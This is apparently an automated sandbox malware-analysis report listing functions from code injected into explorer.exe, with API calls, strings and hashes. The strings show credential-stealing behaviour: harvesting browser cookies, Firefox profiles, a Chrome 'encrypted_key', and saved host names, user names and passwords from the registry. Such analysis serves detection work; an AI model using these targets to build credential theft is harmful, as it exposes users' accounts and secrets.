%.16g, xrefs: 00126077
%lld, xrefs: 00126122

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: _alldiv$_allrem$memset
String ID: %.16g$%02d$%03d$%04d$%06.3f$%lld$W
API String ID: 2557048445-1989508764
Opcode ID: 06ada9a02c813c48ccd23528b0a7158743580893cdeb6ff44e9d4b13baf89fdc
Instruction ID: c62755b8bfcff026b84e385b67c7a39c159ecdefbef7cffa146d69b359c13a55
Opcode Fuzzy Hash: 06ada9a02c813c48ccd23528b0a7158743580893cdeb6ff44e9d4b13baf89fdc
Instruction Fuzzy Hash: 3EB19BB29087A2ABD3269F24ECC4B3B7BD5FB90344F250559F886A61D1EB30CD308695

Function 0013D2AC Relevance: 19.7, APIs: 1, Strings: 12, Instructions: 169COMMON

Download Yara Rule

APIs

memcmp.NTDLL ref: 0013D324

Strings

k(%d, xrefs: 0013D2EE
,%d, xrefs: 0013D444
(blob), xrefs: 0013D416
BINARY, xrefs: 0013D31E
,%s%s, xrefs: 0013D34E
(%.20s), xrefs: 0013D38A
%s(%d), xrefs: 0013D3AB
%.16g, xrefs: 0013D3E5
vtab:%p, xrefs: 0013D423
program, xrefs: 0013D46A
NULL, xrefs: 0013D40F
%lld, xrefs: 0013D3CA

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: memcmp
String ID: %.16g$%lld$%s(%d)$(%.20s)$(blob)$,%d$,%s%s$BINARY$NULL$k(%d$program$vtab:%p
API String ID: 1475443563-3683840195
Opcode ID: 61af15e1ad566248ba1180a779808626c7ec282138d0614c20849a323f534c32
Instruction ID: 8632717df248a1a0b648cc70f259db85c1f3bd948e04fc9cceb196e2f86582e1
Opcode Fuzzy Hash: 61af15e1ad566248ba1180a779808626c7ec282138d0614c20849a323f534c32
Instruction Fuzzy Hash: 16512071A48310ABC724DF64FC45A6BB7B5BF55300F158869F89A9B281E770EC18CB92

Function 001228F8 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 158stringfileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000,00000000,?), ref: 00122AD2

Part of subcall function 00121000: GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
Part of subcall function 00121000: RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

lstrlen.KERNEL32(00000000,?,?,?,?,?,?), ref: 001229E1
lstrlen.KERNEL32(00000000), ref: 001229EC
wsprintfA.USER32 ref: 00122A38
lstrlen.KERNEL32(00000000), ref: 00122A44
lstrcat.KERNEL32(00000000,00000000), ref: 00122A6C
lstrlen.KERNEL32(00000000,?,?), ref: 00122A99

Strings

COOKIES, xrefs: 00122AA4, 00122AAB, 00122AB1
FALSE, xrefs: 00122A06
TRUE, xrefs: 00122A13
%sTRUE%s%s%s%s%s, xrefs: 00122A32

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: lstrlen$Heap$AllocateDeleteFileProcesslstrcatwsprintf
String ID: %sTRUE%s%s%s%s%s$COOKIES$FALSE$TRUE
API String ID: 304071051-2605711689
Opcode ID: 1db2757d74e91fd2e8403cce6ed8245151491a2bef0086bdbb7a3d64187d7425
Instruction ID: 85a9ef194a465d2a96ab562f5778d83cd15336d5139e919ecd60d940cfe5d2d1
Opcode Fuzzy Hash: 1db2757d74e91fd2e8403cce6ed8245151491a2bef0086bdbb7a3d64187d7425
Instruction Fuzzy Hash: B451B330604366AFCB25EF31A850A3F77EAAFE5304F04482DF48597652DB35DC998B52

Function 00122CB5 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 112stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00121953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00122F0C), ref: 00121973
Part of subcall function 00121953: lstrlenW.KERNEL32(00176564,?,?,00122F0C), ref: 00121978
Part of subcall function 00121953: lstrcatW.KERNEL32(00000000,?), ref: 00121990
Part of subcall function 00121953: lstrcatW.KERNEL32(00000000,00176564), ref: 00121994

Part of subcall function 00121000: GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
Part of subcall function 00121000: RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

Part of subcall function 00121B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000), ref: 00121B82
Part of subcall function 00121B6A: CloseHandle.KERNEL32(00000000), ref: 00121B8F

GetPrivateProfileSectionNamesW.KERNEL32(00000000,0000FDE8,00000000), ref: 00122D13
StrStrIW.SHLWAPI(00000000,Profile), ref: 00122D45
GetPrivateProfileStringW.KERNEL32(00000000,Path,0017637C,?,00000FFF,?), ref: 00122D68
GetPrivateProfileIntW.KERNEL32(00000000,IsRelative,00000001,?), ref: 00122D7B
lstrlenW.KERNEL32(00000000), ref: 00122DD8

Strings

profiles.ini, xrefs: 00122CCD
Path, xrefs: 00122D62
IsRelative, xrefs: 00122D75
Profile, xrefs: 00122D3F

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: PrivateProfilelstrlen$Heaplstrcat$AllocateCloseCreateFileHandleNamesProcessSectionString
String ID: IsRelative$Path$Profile$profiles.ini
API String ID: 2234428054-4107377610
Opcode ID: 5a27861b54688c708c73e488e72532540fb3d2403a280916536eddc20ec54fad
Instruction ID: bacbe14690fa27301025af61e512d2b1eb5c339ed7cd560eaf1d2fca61c18ec4
Opcode Fuzzy Hash: 5a27861b54688c708c73e488e72532540fb3d2403a280916536eddc20ec54fad
Instruction Fuzzy Hash: 7331B130704326ABCB24EF70B811A3F76A2AFE4700F10442DF949A7692DB758CA6D752

Function 001248B1 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 001219E5: RegOpenKeyExW.KERNEL32(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00121AE2,PortNumber,00000000,00000000), ref: 00121A1E
Part of subcall function 001219E5: RegQueryValueExW.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00121A3C
Part of subcall function 001219E5: RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00121A75
Part of subcall function 001219E5: RegCloseKey.ADVAPI32(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00121AE2,PortNumber,00000000,00000000), ref: 00121A98

Part of subcall function 0012482C: lstrlenW.KERNEL32(?), ref: 00124845
Part of subcall function 0012482C: lstrlenW.KERNEL32(?), ref: 0012488F
Part of subcall function 0012482C: lstrlenW.KERNEL32(?), ref: 00124897

wsprintfW.USER32 ref: 001249A7
wsprintfW.USER32 ref: 001249B9

Strings

RemoteDirectory, xrefs: 001248F8
Password, xrefs: 001248E4
HostName, xrefs: 001248C4
UserName, xrefs: 001248D2
%s:%u/%s, xrefs: 00124982, 001249A5
%s:%u, xrefs: 00124971, 001249B7

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: lstrlen$QueryValuewsprintf$CloseOpen
String ID: %s:%u$%s:%u/%s$HostName$Password$RemoteDirectory$UserName
API String ID: 2889301010-4273187114
Opcode ID: 1e0e429cca041ae7d39ea019ce096c9e21f5639ddc9cd7832d97f5556d6fdfaa
Instruction ID: 27d408907e3a70cd775294eb965491f281145271738273a71b9dcf851d17b58b
Opcode Fuzzy Hash: 1e0e429cca041ae7d39ea019ce096c9e21f5639ddc9cd7832d97f5556d6fdfaa
Instruction Fuzzy Hash: AE310621B043246BCB20EF65EC5582BB6EDEFDD74CB05491EF04497241DBB2DC9187A1

Function 0012F92F Relevance: 12.4, APIs: 4, Strings: 4, Instructions: 350COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?,00000000), ref: 0012FB32
memcpy.NTDLL(?,?,00000000,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 0012FB4D
memcpy.NTDLL(?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 0012FB60
memcpy.NTDLL(?,?,?,?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030), ref: 0012FB95

Strings

-wal, xrefs: 0012FBA9
-journal, xrefs: 0012FB6B
nolock, xrefs: 0012FC4E
immutable, xrefs: 0012FC68

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: memcpy
String ID: -journal$-wal$immutable$nolock
API String ID: 3510742995-3408036318
Opcode ID: 784927af5be9d34872f478469b8a5fe095b5c21c4a35b1f7cee613abc50b2472
Instruction ID: a1218caf5f86c60eb729b96f319c69a07f2f872a34410e850359ac339be19994
Opcode Fuzzy Hash: 784927af5be9d34872f478469b8a5fe095b5c21c4a35b1f7cee613abc50b2472
Instruction Fuzzy Hash: 51D1C2B16083518FCB14DF28D881B1ABBF1AFA5314F08457DF8998B392EB74D815CB62

Function 00127820 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 407COMMON

Download Yara Rule

Strings

-x0, xrefs: 00127325
%, xrefs: 00127822
NaN, xrefs: 001273F8

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID:
String ID: %$-x0$NaN
API String ID: 0-62881354
Opcode ID: 92a6ec6b7c8ba852b1de56b9890e4488b2cfea0a9683dfc8f80b92223465d2b2
Instruction ID: 9495df483480bab6577ecb7ef1e1a34f87abc06ec70ac3d2356e7d8bb5f74156
Opcode Fuzzy Hash: 92a6ec6b7c8ba852b1de56b9890e4488b2cfea0a9683dfc8f80b92223465d2b2
Instruction Fuzzy Hash: F0D1E53050C3B28BD729CB28A5A073BBBE1AF9A304F29485DF8C1973D1D764C965D792

Function 001278B0 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 441COMMON

Download Yara Rule

Strings

-x0, xrefs: 00127325
NaN, xrefs: 001273F8

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 73cd54fe8dbc321f59e46039c73227a03f3ebfe0e60b0703c909c3ab1fb10853
Instruction ID: 587b188bb30d5262b91381645d32bc7c360c7089c56f457d914e8a453ad32dae
Opcode Fuzzy Hash: 73cd54fe8dbc321f59e46039c73227a03f3ebfe0e60b0703c909c3ab1fb10853
Instruction Fuzzy Hash: 61E1E33060C3B28BD729CB28A45073BBBE1AF96304F29495DF8C5973D1D760C965D792

Function 00127A5C Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 431COMMON

Download Yara Rule

Strings

-x0, xrefs: 00127325
NaN, xrefs: 001273F8

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 99b77e5e8eaf87da7b02f28c5b77d92605e964fe3f474cfc07af221acccc6316
Instruction ID: 209d9bfea1af44981053bb757d84816d7e3c78f1f972b57ba887d1ba2bed40b2
Opcode Fuzzy Hash: 99b77e5e8eaf87da7b02f28c5b77d92605e964fe3f474cfc07af221acccc6316
Instruction Fuzzy Hash: 87E1D33060C3A28BD729CF28A5A072BBBE1AF9A304F25485DF8C5973D1D760CD65C792

Function 00127A28 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 426COMMON

Download Yara Rule

Strings

-x0, xrefs: 00127325
NaN, xrefs: 001273F8

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: fcafd34fa92956c691ff1826794ee738a1f8b944de5d4ebafd46d642280e48af
Instruction ID: 688995178d03777db442b1f3b90028344770eb616a639f6132ac696e32173f73
Opcode Fuzzy Hash: fcafd34fa92956c691ff1826794ee738a1f8b944de5d4ebafd46d642280e48af
Instruction Fuzzy Hash: 40E1E43060C3A28BD729CF28A5A072BBBE1AF96304F29495DF8C5973D1D770C965C792

Function 001277F9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 414COMMON

Download Yara Rule

Strings

-x0, xrefs: 00127325
NaN, xrefs: 001273F8

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: b29f5273243fce15d847ed7457b370092325508b344f918edc8f99d2228b127c
Instruction ID: 58e4e27d7a71f9a0669cb17697e57536c654b48ec86857921eaab93ee16ec70b
Opcode Fuzzy Hash: b29f5273243fce15d847ed7457b370092325508b344f918edc8f99d2228b127c
Instruction Fuzzy Hash: 9BE1E37060C3A28BD729CF28A5A072BBBE1AF9A304F29485DF8C1973D1D760C965C752

Function 001270C9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 403COMMON

Download Yara Rule

APIs

_aulldvrm.NTDLL(00000000,00000002,0000000A,00000000), ref: 0012720E
_aullrem.NTDLL(00000000,?,0000000A,00000000), ref: 00127226
_aulldvrm.NTDLL(00000000,00000000,?), ref: 0012727B

Strings

-x0, xrefs: 00127325
NaN, xrefs: 001273F8

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: _aulldvrm$_aullrem
String ID: -x0$NaN
API String ID: 105165338-3447725786
Opcode ID: de80a5f1ebaf48dee2a5b4f8fc25fe1415380cd200807368864776874f2a3698
Instruction ID: 9200b1a12ef62aa084e3603122d1594a02ca9c389aa19fa7dad1f1f5911220d6
Opcode Fuzzy Hash: de80a5f1ebaf48dee2a5b4f8fc25fe1415380cd200807368864776874f2a3698
Instruction Fuzzy Hash: 6BD1E53060C3B28BD729CB28A5A073BBBE1AF96304F29485DF8C1973D1D764C965D792

Function 0012898F Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 353COMMON

Download Yara Rule

APIs

_allmul.NTDLL(00000000,?,0000000A,00000000), ref: 00128AAD
_allmul.NTDLL(?,?,0000000A,00000000), ref: 00128B66
_allmul.NTDLL(?,00000000,0000000A,00000000), ref: 00128C9B
_alldvrm.NTDLL(?,00000000,0000000A,00000000), ref: 00128CAE

Strings

., xrefs: 00128B17

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: _allmul$_alldvrm
String ID: .
API String ID: 115548886-248832578
Opcode ID: 0eafb817204e4b8525b6a155ec45cf20ac74a72b00414648a91dc98e10dec574
Instruction ID: a16741d6b79903ed19d8fcdd3101bc9d76e7a30e48864a09747210c4c13de43d
Opcode Fuzzy Hash: 0eafb817204e4b8525b6a155ec45cf20ac74a72b00414648a91dc98e10dec574
Instruction Fuzzy Hash: A2D136B190E7A98BC714DF48A48027EBBF0BBE5310F044D5EF5C996281EFB0C9658786

Function 0014D684 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0014D6A0
memset.NTDLL ref: 0014D6B3
memset.NTDLL ref: 0014D6C3

Strings

,, xrefs: 0014D6FC
7, xrefs: 0014D71B
9, xrefs: 0014D701

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: memset
String ID: ,$7$9
API String ID: 2221118986-1653249994
Opcode ID: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction ID: f6725d1760452f5477ee356a59d54e40ef68be29d7755b66cb2d44aef0db5c89
Opcode Fuzzy Hash: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction Fuzzy Hash: DA318D715083849FD770DF60D840B8FBBE9AF95344F00892EF98997252EB719548CBA3

Function 00121BC5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000,00000000,?,00122E75,PathToExe,00000000,00000000), ref: 00121BCC
StrStrIW.SHLWAPI(00000000,.exe), ref: 00121BF0
StrRChrIW.SHLWAPI(00000000,00000000,0000005C), ref: 00121C05
lstrlenW.KERNEL32(00000000,?,00122E75,PathToExe,00000000,00000000), ref: 00121C1C

Strings

.exe, xrefs: 00121BEA

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: lstrlen
String ID: .exe
API String ID: 1659193697-4119554291
Opcode ID: 9210a58b720568c28dd122c2993e7b61c22023398846e9d7d05157b71fa2f166
Instruction ID: c1a20baa58ececb03c1e3d6fd4d198567ff1b43fa20b3b6a049e0becf43f25d2
Opcode Fuzzy Hash: 9210a58b720568c28dd122c2993e7b61c22023398846e9d7d05157b71fa2f166
Instruction Fuzzy Hash: 26F06239350631AAD734AF34BC49ABB62B4EF55341720486AF14AC31A1EB608DE1C759

Function 00132FF6 Relevance: 6.6, APIs: 5, Instructions: 369COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000018), ref: 0013316F
_allmul.NTDLL(-00000001,00000000,?,?), ref: 001331D2
_alldiv.NTDLL(?,?,00000000), ref: 001332DE
_allmul.NTDLL(00000000,?,00000000), ref: 001332E7
_allmul.NTDLL(?,00000000,?,?), ref: 00133392

Part of subcall function 001316CD: memset.NTDLL ref: 0013172B

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: _allmul$_alldivmemset
String ID:
API String ID: 3880648599-0
Opcode ID: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction ID: c1360e207e7a093ea73f34ef226b8071d862bfe1a99ddcf08a635daf409fa4e5
Opcode Fuzzy Hash: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction Fuzzy Hash: 32D1B771A083418BDB28DF69C480B6FBBE1BF98704F14882DF9A593251DB70DE45CB86

Function 001587FA Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 388COMMON

Download Yara Rule

Strings

FOREIGN KEY constraint failed, xrefs: 00158AC8
old, xrefs: 0015889E
new, xrefs: 001588AA

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID:
String ID: FOREIGN KEY constraint failed$new$old
API String ID: 0-384346570
Opcode ID: e518b2cebd79bbfa3fa2473f93ac04ef4681b373322204f31caa9f22c179649e
Instruction ID: 077dcc527395c596f1bb502bbe4c294de882ccd66031e4f6d3f14a0fa37bb126
Opcode Fuzzy Hash: e518b2cebd79bbfa3fa2473f93ac04ef4681b373322204f31caa9f22c179649e
Instruction Fuzzy Hash: AFD156B07483009FD714DF24C881B2EBBE9AF98740F50881EF9999B291DB70D846CB92

Function 001296BC Relevance: 6.4, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

_alldiv.NTDLL(000000FF,7FFFFFFF,?,?), ref: 001296E7
_alldiv.NTDLL(00000000,80000000,?,?), ref: 00129707
_alldiv.NTDLL(00000000,80000000,?,?), ref: 00129739
_alldiv.NTDLL(00000001,80000000,?,?), ref: 0012976C
_allmul.NTDLL(?,?,?,?), ref: 00129798

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: _alldiv$_allmul
String ID:
API String ID: 4215241517-0
Opcode ID: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction ID: 1f9645abbb91da25c9230892bac163fdfa379b510ef6701750ec3f528e0a6ab1
Opcode Fuzzy Hash: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction Fuzzy Hash: 542138325287752BE7345E5D7CC0B2B76D9CBB5790F25413EFD0AC2251EBA28C7088A1

Function 0013B162 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000000), ref: 0013B1B3
_alldvrm.NTDLL(?,?,00000000), ref: 0013B20F
_allrem.NTDLL(?,00000000,?,?), ref: 0013B28A
memcpy.NTDLL(?,?,00000000,?,00000000,?,?,?,00000000,?,?,00000000,00000000), ref: 0013B298

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: _alldvrm_allmul_allremmemcpy
String ID:
API String ID: 1484705121-0
Opcode ID: e8afa76b6a191bd5df26c5ea9e4fbff8cffe4eab91b4adbab092f8e8b774ce46
Instruction ID: d1b9224c79cd985a417d061612c15970efdffde62f932893ba9ae686fc22fd02
Opcode Fuzzy Hash: e8afa76b6a191bd5df26c5ea9e4fbff8cffe4eab91b4adbab092f8e8b774ce46
Instruction Fuzzy Hash: 4F4119756083419FC718EF29C89192FB7E6AFD8700F04892DF99987262EB31ED45CB52

Function 0012A67C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

_alldiv.NTDLL(?,?,?), ref: 0012A6AD
_allmul.NTDLL(00000000,?,?), ref: 0012A6B6

Strings

winTruncate2, xrefs: 0012A717
winTruncate1, xrefs: 0012A6DF

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: _alldiv_allmul
String ID: winTruncate1$winTruncate2
API String ID: 727729158-470713972
Opcode ID: cab426efa7d33a58d08310be84249bec32cd8c674442d42f4568dae04c062f42
Instruction ID: 294d4fa63652aea691d66a295eb8f7456f1520d0dbc4ae78b3e84474cedd6cad
Opcode Fuzzy Hash: cab426efa7d33a58d08310be84249bec32cd8c674442d42f4568dae04c062f42
Instruction Fuzzy Hash: 0021FF32201220ABCB148F29DC85EA777BEEF94310F958129FD14CB295D732DC20CBA6

Function 00121895 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetHGlobalFromStream.OLE32(?,?), ref: 001218A7
GlobalLock.KERNEL32(00124B57), ref: 001218B6
GlobalUnlock.KERNEL32(?), ref: 001218F4

Part of subcall function 00121000: GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
Part of subcall function 00121000: RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 001218E8

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: Global$Heap$AllocateFromLockMemoryMoveProcessStreamUnlock
String ID:
API String ID: 1688112647-0
Opcode ID: 321c07226e5a932eda708dcb50d822ddbf7d69b0a0bb832d21db7543c5a788a4
Instruction ID: da2112c54b4f438fc3ffa6fd5d248563a196dfdb36036afe7644140c2d710537
Opcode Fuzzy Hash: 321c07226e5a932eda708dcb50d822ddbf7d69b0a0bb832d21db7543c5a788a4
Instruction Fuzzy Hash: B0016D75204726BF8B019F25AC5889F7BBAEFA4351B10843AF94583221DF31C9A49A60

Function 00121953 Relevance: 6.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,00000000,?,?,00122F0C), ref: 00121973
lstrlenW.KERNEL32(00176564,?,?,00122F0C), ref: 00121978
lstrcatW.KERNEL32(00000000,?), ref: 00121990
lstrcatW.KERNEL32(00000000,00176564), ref: 00121994

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: 69968d250d5c70ddc4b31bf13f0b8a5616b385da8700e5acb47555b40a8d1344
Instruction ID: c5f9fee2449280e7e681a8355b357f3ba1b105822b06db455623ae386d7a96c4
Opcode Fuzzy Hash: 69968d250d5c70ddc4b31bf13f0b8a5616b385da8700e5acb47555b40a8d1344
Instruction Fuzzy Hash: EDE0656230022C2B4714B7AE6C94D7B76ACCAD96A53150039FA0CD3202EA569C4586B0

Function 00122FB1 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 31stringCOMMON

Download Yara Rule

APIs

StrStrIA.SHLWAPI(00000000,"encrypted_key":"), ref: 00122FC1
lstrlen.KERNEL32("encrypted_key":",?,00123FA8), ref: 00122FCE
StrStrIA.SHLWAPI("encrypted_key":",0017692C), ref: 00122FDD

Part of subcall function 0012190B: lstrlen.KERNEL32(?,?,?,?,00000000,00122783), ref: 0012192B
Part of subcall function 0012190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,00122783), ref: 00121930
Part of subcall function 0012190B: lstrcat.KERNEL32(00000000,?), ref: 00121946
Part of subcall function 0012190B: lstrcat.KERNEL32(00000000,00000000), ref: 0012194A

Strings

"encrypted_key":", xrefs: 00122FBA, 00122FBF, 00122FCD, 00122FDC

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: lstrlen$lstrcat
String ID: "encrypted_key":"
API String ID: 493641738-877455259
Opcode ID: 12ee1f42866cb4a47a7051f69b3a52b53340d10c88f14970b3b774fa68d2d564
Instruction ID: 46cd038ca4e291dbc2732615dbd1f092c7e8d4548bd1ff0902b731dd0ea388b1
Opcode Fuzzy Hash: 12ee1f42866cb4a47a7051f69b3a52b53340d10c88f14970b3b774fa68d2d564
Instruction Fuzzy Hash: FAE0222260AE342F8321ABB52C48C4B3E38AF422143440078F20993552EFA28881C6E0

Function 0014F21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 00126A81: memset.NTDLL ref: 00126A9C

_aulldiv.NTDLL(?,00000000,?,00000000), ref: 0014F2A1

Strings

%llu, xrefs: 0014F25E
%llu, xrefs: 0014F2A8

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: _aulldivmemset
String ID: %llu$%llu
API String ID: 714058258-4283164361
Opcode ID: fcc4dfce769dcaf7f1898430cda3a895465dbd3417c25f8c502c625f52e68ebe
Instruction ID: b23578dc4f3e1cdd42b1ae4ef3bae76053d6e2703d048f3e963cb25449bd2441
Opcode Fuzzy Hash: fcc4dfce769dcaf7f1898430cda3a895465dbd3417c25f8c502c625f52e68ebe
Instruction Fuzzy Hash: 212105B2A446156BC711AA24CC42F6BB768EFA5730F04833CF925972D1DB61DC2687E1

